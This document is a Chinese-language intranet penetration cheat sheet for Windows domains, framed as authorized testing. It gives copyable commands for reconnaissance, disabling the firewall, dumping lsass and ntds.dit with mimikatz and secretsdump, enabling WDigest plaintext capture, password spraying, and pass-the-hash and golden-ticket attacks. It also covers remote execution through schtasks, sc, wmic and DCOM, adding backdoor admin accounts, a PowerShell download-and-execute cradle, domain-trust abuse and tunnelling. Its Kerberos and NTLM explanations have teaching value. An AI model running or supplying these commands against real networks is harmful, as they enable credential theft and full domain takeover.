内网渗透的起点:先拿下一台内网主机
内网渗透的最终目的:拿下域控
内网渗透的两个大步骤(合理授权情况下,不需要考虑清理痕迹)
- 第一步,信息收集,收集本地的信息,账号口令,白银黄金票据,端口,还收集存活主机
- 第二步,横向移动,从发现的存活主机,开始横向渗透,拿下存活的主机,直到拿下域控
(0)前言
内网渗透的开始是,先拿下内网中的一台主机
一般情况下:
通过web渗透,拿下服务器
通过信息收集:获取vpn账号
通过社工/钓鱼,拿下一台内网主机
其他情况:
近源攻击:插入u盘到内部主机,或者,通过内部无线网络进行攻击
供应链攻击:第三方供应商或合作伙伴的网络进行跳板攻击
(一)信息收集
1、收集本机信息
Ipconfig 网络配置信息
systeminfo| findstr /B /C:"OS 名称" /C:"OS 版本" 查询操作系统和版本信息
echo %PROCESSOR_ARCHITECTURE% 查看系统体系结构
wmic product get name,version 查看安装的软件及版本
wmic service list brief 本机服务信息
wmic process list brief 进程信息
tasklist 进程信息
wmic startup get command,caption 启动程序信息
schtasks /query /fo LIST /v 计划任务信息
net statistics workstation 主机开机时间信息
net user 用户列表信息
wmic useraccount get name ,SID 用户列表信息
net session 列出会话
netstat ‐ano 查询端口列表
systeminfo 查看补丁列表
wmic qfe get Caption,Description,HotFixID,InstalledOn 查看补丁列表
net share 查询共享列表
wmic share get name,path,status 查询共享列表
route print 路由信息
netsh firewall show state 查看防火墙是否开启
netsh firewall set opmode disable 关闭防火墙
netsh firewall show config 查看防火墙配置
netsh advfirewall firewall add rule name="pass nc"
dir=in action=allow program="C:\nc.exe" 允许指定的程序进行全部的连接
netsh advfirewall firewall add rule name="Allownc"
dir=out action=allow program="C: \nc.exe" 允许指定程序退出
netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP
dir=in localport=3389 action=allow 允许3389端口放行
net start TermService 开启远程桌面服务
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr
收集WiFi密码
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP‐Tcp" /V PortNumber 查询RDP端口
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" 查看代理配置信息
cmdkey /l 查看当前保存的登陆凭证
arp ‐a Arp信息
dir %APPDATA%\Microsoft\Windows\Recent 查看最近打开的文档
net localgroup 查询本机用户组
net localgroup administrators 管理员组成员列表
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* RDP凭证
wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list 杀毒软件查询
2、收集内网存活ip
nbtscan.exe 192.168.68.0/24 基于NetBIOS
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.68.%I | findstr "TTL=" 基于icmp
arp.exe -t 192.168.68.0/24 基于arp协议
kscan.exe -t 192.168.68.0/24 基于Kscan工具
fscan_1.7.0.exe -h 192.168.1.1/24 -np -no -nopoc 基于fscan工具
3、收集开放端口
kscan.exe -t 192.168.41.131 -p 1-65535 基于kscan工具
fscan.exe -t 192.168.41.131 -p 1-65535 基于fscan工具
对渗透有用的端口:
文件共享服务端口
远程连接服务端口
Web 应用服务端口
数据库服务端口
邮件服务端口
网络常见协议端口
特殊服务端口
4、收集域信息
4.1 基本域信息
whoami 查看当前权限
Ipconfig /all以查看网关IP地址、DNS的IP地址,域名、本机是否和DNS服务器处于同一网段等信息
Nslookup 解析域名的IP地址,
SystemInfo | findstr "域" 查看域,WorkGroup表示当前服务器不在域内
net config workstation 查看域
Net time /domain 查看主机是否属于domain域
net view /domain 查看域
net view/domain:域名 查询域内所有计算机
net group /domain 查询域内所有用户组列表
net accounts /domain 获取域密码信息
nltest /domain_trusts 获取域信任信息
4.2 查找域控
nltest /DCLIST:域名 查看域控制器的机器名
nslookup ‐type=SRV _ldap._tcp 查看域控制器的主机名
net time /domain 查看时间服务器(一般时间服务器为域控)
net group "Domain Controllers" /domain 查看域控制器组
4.3 查看域内用户
net user /domain 向域控制器进行查询
wmic useraccount get/all 获取域内用户的详细信息
dsquery user 查看存在的用户
net localgroup administrators 查询本地管理员组用户administrators
net group "domain admins" /domain 查询域管理用户
net group "Enterprise Admins" /domain 查询域管理员用户组
4.4 定位域管理员
手动查询
net view /domain 查看当前域名
net view /domain:域名 查看域内部所有计算机名
net group /domain 查看域内部所有用户组列表
net group "domain computers" /domain 查看所有域成员计算机列表
net accounts /domain 查看域密码信息
nltest /domian_trusts 获取域信任信息
nltest /DCLIST:域名 查看域控制器机器名
net time /domain 查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名
net group "Domain Controllers" /domain 查看域控制器组,因为可能有不止一台域控,有主备之分
net user /domain 查询域内用户,会看到熟悉的krbtgt用户
wmic useraccount get /all 获取域内用户详细信息
dsquery user 查看域内存在的用户
net localgroup administrators 查看本地管理员用户组
net group "domain admins" /domain 查询域管理员用户
工具:
psloggedon.exe [‐] [‐l] [‐x] [\\computername或username]
PVEFindADUser.exe -current 枚举域用户
netview.exe
4.5 Ntds.dit文件与读取方式
Ntds.dit文件
Ntds.dit文件:ad的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问,ntds.dit包括三个主要表:数据表、链接表、sd表
位置:C:\Windows\NTDS
读取ntds.dit文件
ntdsutils.exe提取ntds.dit
创建快照:ntdsutil.exe snapshot "activate instance ntds" create q q
加载快照:ntdsutil.exe snapshot "mount {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" q q
复制快照:copy '快照地址\Windows\NTDS\ntds.dit' 目标地址
删除快照:ntdsutil.exe snapshot "umount {bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" "delete{bf50c558-aa39-414d-9cc2-32e6dd3aebdc}" q q
vssadmin提取ntds.dit
创造快照:vssadmin create shadow /for=c:
复制文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds\ntds.dit
删除快照::vssadmin delete shadows /for=c: /quiet
vssown提取ntds.dit
启动卷影复制服务:cscript vssown.vbs /start
创建一个C盘的卷影副本:cscript vssown.vbs /create c
列出当前卷影副本:cscript vssown.vbs /list
复制文件:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit
C:\Users\Administrator\Desktop\ntds\ntds.dit
删除卷影副本:cscript vssown.vbs /delete {B267559B-57D8-4D59-B77F-890CF57BA448}
IFM:
第一步:ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
第二步删除:rmdir /s/q C:\test
Impacket:
secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds
离线方式读取ntds.dit文件
离线读取步骤:
将远端域控的ntds.dit下载到本地,
然后利用再在本地进行。
Esedbexport:
导出ntds.dit:esedbexport -m tables ntds.dit
将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的结果将保存在 1.txt
python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7
output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --
lmoufile lmout | tee 1.txt
impacket:
将 ntds.dit.export 和 SYSTEM 文件放入到 和secretsdump.exe 同级目录下:
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
NTDSDump.exe:
导出哈希值:NTDSDumpEx -d ntds.dit -s system -o 1.txt
DSInternals:
导出 hash,并保存在 txt 文件里:
$key = Get-Bootkey -SystemHivePath 'system路径'
Get-ADDBAccount -All -DBPath 'ntds路径' -Bootkey $key | Out-File output_hash.txt
在线方式读取ntds.dit文件
Mimikatz:
读取所有用户的hash:lsadump::dcsync /domain:hack.com /all /csv
读取单个用户的hash:lsadump::dcsync /domain:hack.com /user:administrator
Quarks PwDump:
Impacket:
secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds
工具(Msf)导出ntds.dit文件
使用模块:use auxiliary/admin/smb/psexec_ntdsgrab
配置参数:
set RHOSTS 192.168.41.10
set SMBDomain hack.com
set smbuser administrator
set smbpass "123456kl;'/"
运行,ntds和system文件会被保存到/root/.msf4/loot下
5、密码抓取
5.1 window认证
window有三种认证机制:
- 本地认证
- 网络认证
- 域认证
本地认证
Windows的登陆密码是储存在系统本地的SAM文件中的,在登陆Windows的时候,系统会将用户输入的密码与SAM文件中的密码进行对比,如果相同,则认证成功
具体过程:
winlogon.exe:是Windows NT 用户登陆程序,用于管理用户登陆和退出
LSASS:用于微软Windows系统的安全机制,它用于本地安全和登陆策略
winlogon.exe运行,进入登录框,用户输入密码,lsass.exe会把明文进行加密,与SAM数据库进行对比,相同会登录成功,不同登录失败
Window对明文加密的两个方法:LM、NTML
LM加密过程
第一步:明文口令转为大写
第二步:转为16进制,不足14字节的用0补全
第三步:将14个字节口令,分为两组,每组7个字节
第四步:把每一组7个字节的十六进制转为二进制,每7bit一组末尾加0,在转为十六进制,得到2组8个字节
第四步:把KGS!@#$%的十六进制,作为密钥,利用DES对两组8个字节的十六进制,进行机密,最后把两组拼接
NTLM加密过程
第一步:把明文口令转为十六进制,
第二步:在每个字节之后添加00
第三步:对其MD4加密,生成32位的十六进制
网络认证
基于挑战响应认证的NTLM协议:
第一步:客户端向服务器端发送登录请求,发送用户名
第二步:服务器查询是否存在用户,存在就随机生成16为随机数chalenge,并利用NTLM做为密钥对其加密,生成chalenge1,chalenge1存储本地,把chalenge响应给用户,如果不存在直接响应失败
第三步:客户端接受chalenge,利用hash对其加密生成response
第四步:服务器接受response,与chalenge1对比,如果相同,验证成功
NTML协议v1和v2区别:
NTLM v1的Challenge有8位,NTLM v1的主要加密算法是DES
NTLM v2的Challenge为16位;NTLM v2的主要加密算法是HMAC‐MD5。
域认证
域认证采用Kerberos协议认证,过程如下:
第一步:客户端向AS发送请求,请求中携带了自己的用户名,主机IP,和当前时间戳
第二步:AS查询用户是否存在,存在则向客户端响应,响应分两个部分,
第一部分TGT票据(授予票据),使用TGS密码加密,包含用户身份信息(用户名,ip,时间戳),用户票据(TGS 服务器名,Session_key(CT_SK))。
第二部分是,由客户端密钥加密,包括Session_key(CT_SK),时间戳,TGS服务器名,TGT有效时间
第三步:客户端接受AS响应,利用自己的密钥对第二部分解密,根据时间戳判断请求时间和当前时间是否大于5分钟,大于则认证失败,合理则客户端向TGS发送请求,请求有三个部分:
第一部分,TGT票据,原封不动发送给TGS
第二部分,把想要访问服务器ip,以明文的方式发送TGS
第三部分,利用CT_SK加密,包括客户端名,ip,时间戳
第四步:服务器接受客户端请求,
1)根据服务器ip,查看是否存在该服务器,不存在则,认证失败,存在下一步认证,
2)利用自己的密钥对TGT其解密,查看时间戳信息,查看时间是否有效,对用户请求加密部分进行解密,查看用户信息一致则下一步响应
3)服务器对客户端进行响应,响应分两个部分:
第一部分:服务票据(ST)由服务器加密,包括客户端名、IP,服务器ip,时间戳,ST有效时间,密钥(CS_SK)
第二部分:由密钥CT_SK加密,包括密钥(CS_SK)时间戳,ST有效时间
第五步:客户端接受响应,利用密钥CT_SK对第二部分解密,检查时间戳,向服务器端发送请求,请求分为两个部分:
第一部分;原封不动的ST票据
第二部分,由CS_SK密钥加密,包括客户端名,ip,时间戳,ST有效时间
第六步:服务器接受请求,利用自己的密钥对第一部分解密,获取到cs_sk密钥,对第二部分解密,先核查两个部分的用户名,ip一致之后,根据服务器ip开启相对于服务
5.2 密码抓取
Mimikatz
1)Mimikatz离线读取SAM文件抓取密码:
reg save hklm\sam sam.hive 导出sam
reg save hklm\system system.hive 导出system文件
复制文件:
copy‐vss //直接将文件保存在当前目录下
copy‐vss ‐DestinationDir 路径 //指定保存文件的路径(必须是已经存在的路径)
lsadump::sam /sam:sam.hive /system:system.hive:读取sam和system文件获取密码
- Mimikatz在线读取sam和lsass获取密码
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" 在线读取sam文件
sekurlsa::logonPasswords 从lsass进程中提取passwords、keys、pin、tickets等信息
- Mimikatz离线读取lsass进程抓取密码
导出文件:
Window管理器-lsass.exe右击转储文件
procdump.exe ‐accepteula ‐ma lsass.exe lsass.dmp
读取文件:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
其他工具破解NTLM Hash
Hashcat破解NTLM Hash:hashcat ‐m 1000 NTLM HASH 字典 ‐‐force
网站破解NTLM Hash:md5在线解密破解,md5解密加密
Getpassword
pwdump7
QuarksPwDump
Nishang
wce
浏览器、数据库等其他密码的抓取
BrowserGhost.exe
Sharp-HackBrowserData.exe
Windows RDP凭证的抓取和密码破解
查看凭据:
cmdkey /list 查看mstsc的连接记录
dir /a %userprofile%\appdata\local\microsoft\credentials\* 查找本地的Credentials
在线破解:
获取MasterKey的guid:mimikatz dpapi::cred
/in:C:\Users\Administrator\appdata\local\microsoft\credentials\票据
找到内存中对应的MasterKey:mimikatz sekurlsa::dpapi
破解凭据文件:dpapi::cred /in:凭据文件路径 /masterky:masterkey值
离线破解:
导出lsass:procdump.exe ‐accepteula ‐ma lsass.exe lsass1.dump
下载Credentials文件:
用mimikatz载入dump回来的内存:Sekurlsa::minidump lsass1.dump
获取Credentials的GUID:dpapi::cred /in:票据
获取内存中所有的MasterKey:sekurlsa::dpapi
利用MasterKey解密:dpapi::cred /in:票据 /masterkey: masterkey值
Windows-2012R2之后抓取密码的方式
在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式,抓取明文,需要用户重新登录后才能成功抓取
修改注册表:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f 开启
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 0 /f 关闭
锁屏:
rundll32.exe user32.dll,LockWorkStation 锁屏
query user 查询登录
logoff ID 下载
(二)横向移动
1、工具横向移动
1、向日葵
注册表绕过安装选择页面:[HKEY_CURRENT_USER\SOFTWARE\Oray\SunLogin\SunloginClient]
"11.1.0.37237_IsRunSeted"="1"
regedit ‐s 3.reg 注册注册表3.reg是注册表绕过选择安装页面
SunloginClient.exe 运行向日葵
shell type C:\ProgramData\Oray\SunloginClient\config.ini 查看向日葵配置文件:
fastcode:本机识别码去掉k
encry_pwd:本机验证码,密文无法直接解密,利用Sunflower_get_Password工具破解
2、远控工具todesk横向移动,
shell ToDesk1.exe /S 安装Todesk
shell type C:\"Program Files (x86)"\ToDesk\config.ini 查看配置文件
使用cs进行文件替换
重启程序,获取到明文密码,
3、远控工具GoToHTTP
4、远控工具RustDESK
运行找到配置文件:C:\Users\用户名\AppData\Roaming\RustDesk\config
手写密码,重启工具
5、psexec工具cmd
原理:开启admin共享和ipc (该共享默认开启,依赖于445端口)
2、IPC
IPC( Internet ProcessConnection)共享"命名管道"的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算 机的共享资源时使用。
通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息
IPC$利用条件:
- 开启了139、445端口
- 管理员开启了默认共享
net use \\192.168.41.30\ipc$ "密码" /user:administrator 建立一个ipc$
net use 查看
1、IPC+计划任务
利用:
dir \\192.168.18.10\c$ 命令列出远程主机中的文件
tasklist /s 192.168.18.10 列出远程主机上运行进程
net time \\IP地址 查看系统时间
copy 文件 \\IP地址\C$ 复制文件
schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f 创建计划任务
schtasks /run /s IP地址 /i /tn "计划任务名" 执行计划任务
schtasks /delete /s IP地址 /tn "计划任务名" /f 删除计划任务
net use \\IP /del /y 删除IPC连接
2、 IPC+系统服务
net use \\192.168.41.40\ipc$ "Admin@123" /user:administrator IPC建立连接
copy C:\Users\Administrator\Desktop\wanli.exe \\192.168.41.40\C$ 复制文件
sc \\192.168.41.40 create test binpath= "cmd.exe /c c:\wanli.exe" 创建服务
sc \\192.168.17.138 start test 开启服务
sc \\192.168.17.138 delete test 删除服务
3、攻击横向移动
3.1 密码喷洒攻击
域内用户枚举: 在 Kerberos 协议认证的 第一阶段AS-REQ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样,根据返回包爆破用户名
密码喷洒:在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回KRB5KDC_ERP_PREAUTH_FAILED
域内用户枚举:
kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt
密码喷洒:
kerbrute.exe passwordspray -d 域名 密码字典 用户名 kerbrute.ex工具
crackmapexec smb 192.168.41.10 -u 1.txt -p 'Admin@123' --continue-on-success
3.2 PTH(pass the hash)哈希传递攻击
Pth原理:一些大型公司,使用了相同的账户和密码,如果攻击者入侵其中某一头计算机,获取到hsah,就可以利用这个hash横向登录其他计算机
条件:
目标机器开放445端口
administrator(SID为500)用户才可以pth攻击
过程:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator
/domain:hack.com /ntlm:570a9a65db8fba761c1008a51d4c95ab
3.3 PTK(pass the key)密钥传递攻击
原理:通过使用已经获取的身份验证密钥(例如用户的登录凭证或会话ID等)来访问或者登录到其他系统
过程:
抓取密码,获取ntlm或者aes密钥
传递密钥:
sekurlsa::pth /user:administrator/domain:hack.com
/aes256:b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232
3.4 PTT(pss the ticke)票据传递攻击
原理:窃取Kerberos协议的TGT票据或者ST票据(黄金票据和白银票据攻击),获取其他主机的控制权
过程:
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" 导出内存的票据
shell klist purge 清除票据
mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt-HACK.COM.kirbi 高权限的票据文件注入内存:
mimikatz kerberos::tgt 查看票据
dir \\2012-1.hack.com\c$ 访问机器(admin 用户 没有过uac)
上线域控:
net use \\dc.hack.com
copy C:\Users\admin\Desktop\wanli.exe \\dc.hack.com\C$
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru
system /f
shell schtasks /run /s dc.hack.com /i /tn "test"
黄金票据:
原理:伪造TGT票据
条件:
用户名:
域名称:shell net config workstation
域SID:shell whoami /user
域的KRBTGT账号的HASH:mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt
白银票据:
原理:伪造ST票据
条件:
域名
域SID
可利用服务器
服务账号的NTML HASH
伪造的用户名
4 远程命令横向
4.1、wmic远程执行命令
WMI是管理Windows系统的重要数据库工具,WMIC扩展WMI提供了从命令行
接口和批处理脚本执行系统管理的支持,
wmic就是wmic.exe,位于windows目录底下,是一个命令行程序
执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create
"cmd.exe /c ipconfig >c:\ip.txt"
列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create
c:\programdata\test.bat
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create
"cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1
/add
执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create
"powershell.exe -nop -w hidden -c \"IEX ((new-object
net.webclient).downloadstring('ps脚本地址'))\""
4.2 smb远程执行命令
SMB 全称是 Server Message Block服务器信息块,是一种客户端到服务器的通信协
议,用于请求与回复,
利用条件:445端口
smbexec administrator:Admin@123@192.168.41.148 输入命令
使用哈希:
smbexec -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab administrator@192.168.41.145
4.3 DCOM远程执行命令
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口,作用是让两台机器上的组件间的通信,
交互:
$com =
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0
.0.1"))
在远程主机上启动进程:
com.Document.ActiveView.ExecuteShellCommand('cmd.exe',null,"/c
calc.exe","Minimzed")
将IP和命令换成上线的命令:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.1 68.41.147"))
4.4 winRm远程执行命令
WinRM(Windows远程管理):若配置了WINRM远程服务,当我们拿到一个管理员账户时,可以使用远程连接进行命令执行操作,默任使用5985,5986
执行命令
winrs -r:http://192.168.41.147:5985 -u:administrator -p:Admin@123 "whoami"
5 系统漏洞
ms17010
ms17010漏洞:其中涉及一个名为EternalBlue的漏洞(CVE-2017-0144)。该漏洞影响了Windows操作系统中的Server Message Block(SMB)协议,攻击者可以利用该漏洞执行远程代码,并在网络中传播自身。
过程:
使用cs生成bin文件
使用msf用bin文件生成dll文件
或者直接生成
6、域攻击
跨域攻击的方式:
- 常规渗透方法(利用web漏洞):如SQL注入、XSS、文件包含等方式,实现跨域操作并成功攻击目标系统
- 哈希传递票据攻击:PTT
- 利用域信任关系:如果目标系统与其它系统存在域信任关系,则攻击者往往会尝试利用这种关系来实现跨域攻击
利用域信任密钥获取目标域
使用mimikatz获取 当前域的 SID 父域的 SID 子域域管的NTLM 信任密钥
mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:HACK$"
"lsadump::trust /patch" exit
在普通的域内用户中创建创建高权限票据:
mimikatz.exe "kerberos::golden /domain:子域 /sid:子域SID /sids:父域-519 /rc4:信任密
钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:subdc_administrator.kirbi"
Exit
上传asktgs.exe和kirbikator.exe工具,asktgs.exe伪造票据,kirbikator.exe注入票据:
创建CIFS服务的票据进行复制文件的操作
shell asktgs.exe administrator.kirbi CIFS/DC.hack.com
将票据注入内存:shell kirbikator.exe lsa CIFS.DC.hack.com.kirbi
访问域控:shell dir \\dc.hack.com\c$
服务恶意文件,如果复制失败,请注入host服务票据:
shell copy 2.exe \\dc.hack.com\c$
伪造host服务,进行创建计划任务
shell asktgs.exe administrator.kirbi host/DC.hack.com
将票据注入内存
shell kirbikator.exe lsa host.DC.hack.com.kirbi
创建计划任务
schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\1.exe /ru system /f
执行计划任务
schtasks /run /s dc.hack.com /i /tn "test"
利用krbtgt哈希值获取目标域
krbtgt哈希值是Windows域内KDC服务账户krbtgt的密码哈希值,负责生成和校验Kerberos票据的关键服务账户
过程:
获取Krbtgt散列:lsadump::lsa /patch /user:krbtgt
获取关键信息:lsadump::trust /patch
构造并注入黄金票据:
Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID519 /krbtgt:krbtgt散列 /pt
访问目标域:dir \\dc.hack.com\c$
复制恶意文件:copy 1.exe \\dc.hack.com\c$
执行计划任务:schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\1.exe /ru system /f
启动计划任务:schtasks /run /s dc.hack.com /i /tn "test"
域内委派
域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动
分类:
- 非约束性委派:它允许委派的账户获取其自身的凭据,并将这些凭据传递给其他系统,使其能够在其他系统上运行。这种类型的委派没有任何限制,因此存在一定的安全风险,攻击者如果能够获取到委派账户的凭据,就可以滥用这些凭据来访问其他系统上的资源
- 约束性委派:约束性委派引入了一定的限制,以增加安全性。它允许委派的账户将其凭据传递给特定的目标系统,但对于其他系统的访问是不允许的。这种类型的委派可以通过配置委派账户的属性(msDS-AllowedToDelegateTo)来实现。约束性委派要求在目标系统上配置受委派账户的委派权限,从而限制其可以访问的系统和资源
- 基于资源的约束性委派:基于资源的约束性委派是一种更加细粒度的委派方式,它允许特定的服务或资源在需要时启用委派能力。与传统的约束性委派不同,基于资源的约束性委派允许资源控制其可以接受的委派操作和可用的委派账户。这种类型的委派增加了对系统资源的保护和访问控制
(三)在内网渗透过程中用到的技术
在内网环境中,只有一些特殊服务是出网的,大部分服务和主机是不出网,针对不出网问题有一下常用方法:
隧道(Tunneling):当隧道被创建时,它能够封装和转发内网流量到外网,同时也可以将外网流量转发回内网,即使在内网直接访问互联网被阻止的情况下。常见的隧道技术如SSH隧道、VPN,甚至更为复杂的隧道如Tor。
端口映射(Port Mapping):也被称为端口转发,它可以将目标网络内部的某台计算机的端口流量映射到攻击者控制的外部服务器的端口上。这意味着攻击者可以使用外部服务器作为跳板,直接与内网服务进行交互。
端口转发(Port Forwarding):这通常在路由器或防火墙上进行配置,内网渗透测试时可能会遇到该技术的变体,攻击者可能会配置受害机器上的端口转发规则,以将特定流量导向另一台内网主机,或者通过反向端口转发,将内部网络流量导向外部控制的服务器。
代理
3.1隧道
ICMP隧道
ICMP类型:通常是ICMP Echo Request(类型值为8)或ICMP Echo Reply(类型值为0)。
ICMP代码:通常为0。
校验和:用于对数据包的完整性进行校验。
数据:这是通过隧道进行传输的数据,其具体格式和内容视具体应用而定。通常情况下在ICMP数据字段的开始(大小为2字节)和结束(大小为2字节)位置标记数据的长度和位置。
Icmp报文自身是可以携带数据的,而且icmp是系统内核处理,不占用任何端口,所有具备很高的隐藏性,把数据隐藏在icmp数据包包头的data字段中,建立隐藏隧道,实现绕过发挥防火墙和入侵检查系统的拦截
Icmp隧道的优点:
Icmp隐蔽传输是无连接的,传输不是很稳定,而且传输通道带宽很低,
利用隧道传输时候,需要接触更低层次的协议,需要高级用户权限
DNS隧道
Header(报头):包含标识、查询类型、查询数量、控制标志等字段,用于指示数据包的类型和操作。
Question(问题部分):包含一个或多个查询问题,每个问题由域名和查询类型(如A记录、AAAA记录、CNAME记录等)组成。
Answer(回答部分):包含一个或多个回答,每个回答包含了查询结果的资源记录,包括域名、TTL(生存时间)、记录类型和记录数据等信息。
Authority(权威部分):包含一个或多个权威资源记录,指示该域名的权威域名服务器。
Additional(附加部分):包含一个或多个附加资源记录,提供了与查询相关的其他信息,比如额外的IP地址或其他记录。
3.2 端口转发
端口转发就是将一个端口收到的流量转发到另一个端口,在路由器或防火墙上配置规则,将来自公共网络的请求端口转发到私有网络中指定设备的某个端口上。这样,当外部网络请求到达时,路由器或防火墙会将请求的数据包重定向到指定设备上,从而实现对该设备或服务的访问
LCX端口转发
端口转发:
Lcx -listen <转发前端口><转发后端口>
Lcx -slave <攻击机IP><转发前端口><目标IP><转发后端口>
端口映射:
Lcx -tran<等待连接的端口><目标IP><日标端口>
第一步:攻击机:监听本地53端口并且转发到本地1111端口
lcx -listen 53 1111
第二步:目标靶机:将靶机的3389端口转发到攻击机的 53端口
lcx.exe -slave 攻击机ip 53 127.0.0.1 3389
第三步:攻击机:
远程桌面连接:127.0.0.1:1111
SSH端口转发
环境:A是攻击机,可以访问主机B,但不能直接访问C,
目标:利用端口转发,让A可以访问C
1)本地转发(正向转发):
第一步:在B主机做端口转发:让C主机的3389端口连接B主机的8765端口,A连接B的8765端口,就相当于A连接C的3389端口
ssh -CfNg -L B端口 C的ip:C端口 A地址
第二步:在主机A种,访问B的8765端口
2)远程转发(反向转发):
环境:A不能访问B,B可以访问A
目标:A可以访问C
第一步:在B主机做端口转发,让C主机的22端口直接转发到A主机上
ssh -CfNg -R A端口:C的ip:C的端口 A的ip
第二步:在A主机直接访问本地地址的A端口,就可以访问C的22端口
NETSH端口转发
netsh是windows系统自带命令行程序,需要管理员权限,才可以进行端口转发
环境:A是攻击机,可以访问主机B,但不能直接访问C,
目标:利用端口转发,让A可以访问C
第一步:在B主机端口转发,用管理员权限执行:让主机C的22端口转发到主机B的9999端口
netsh interface portproxy add v4tov4 listenaddress=B的ip地址
listenport=9999 connectport=22 connectaddress=C的ip地址
第二步,查看是否开启端口转发:
netsh interface portproxy show v4tov4
第三步:在攻击机A连接C的端口
ssh root@B的ip地址 -p 9999
第四步:删除转发:
netsh interface portproxy delete v4tov4 listenaddress=B的地址
listenport=9999